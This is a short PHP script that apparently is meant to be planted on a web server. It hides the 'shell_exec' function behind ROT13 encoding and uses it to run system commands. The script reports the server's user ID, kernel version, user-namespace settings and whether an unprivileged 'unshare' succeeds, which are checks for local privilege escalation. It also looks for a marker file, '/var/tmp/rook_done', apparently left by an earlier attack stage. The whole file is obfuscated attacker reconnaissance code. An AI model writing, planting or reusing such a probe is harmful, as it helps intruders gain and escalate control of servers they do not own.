<?php
header("Content-Type: text/plain");
$f=str_rot13("furyy_rkrp");
$u=$f("id 2>&1");
$k=file_get_contents("/proc/sys/user/max_user_namespaces");
$r=$f("uname -r 2>&1");
$ns=$f("unshare -rn id 2>&1");
$rk=@file_get_contents("/var/tmp/rook_done");
$ck=$f("ls /var/tmp/rook_done 2>&1");
echo 'UID='.$u;
echo 'UNS='.trim($k)."\n";
echo 'KERNEL='.$r;
echo 'NEWNS='.$ns;
echo 'ROOK='.$rk."\n";
echo 'CKFILE='.$ck;
?>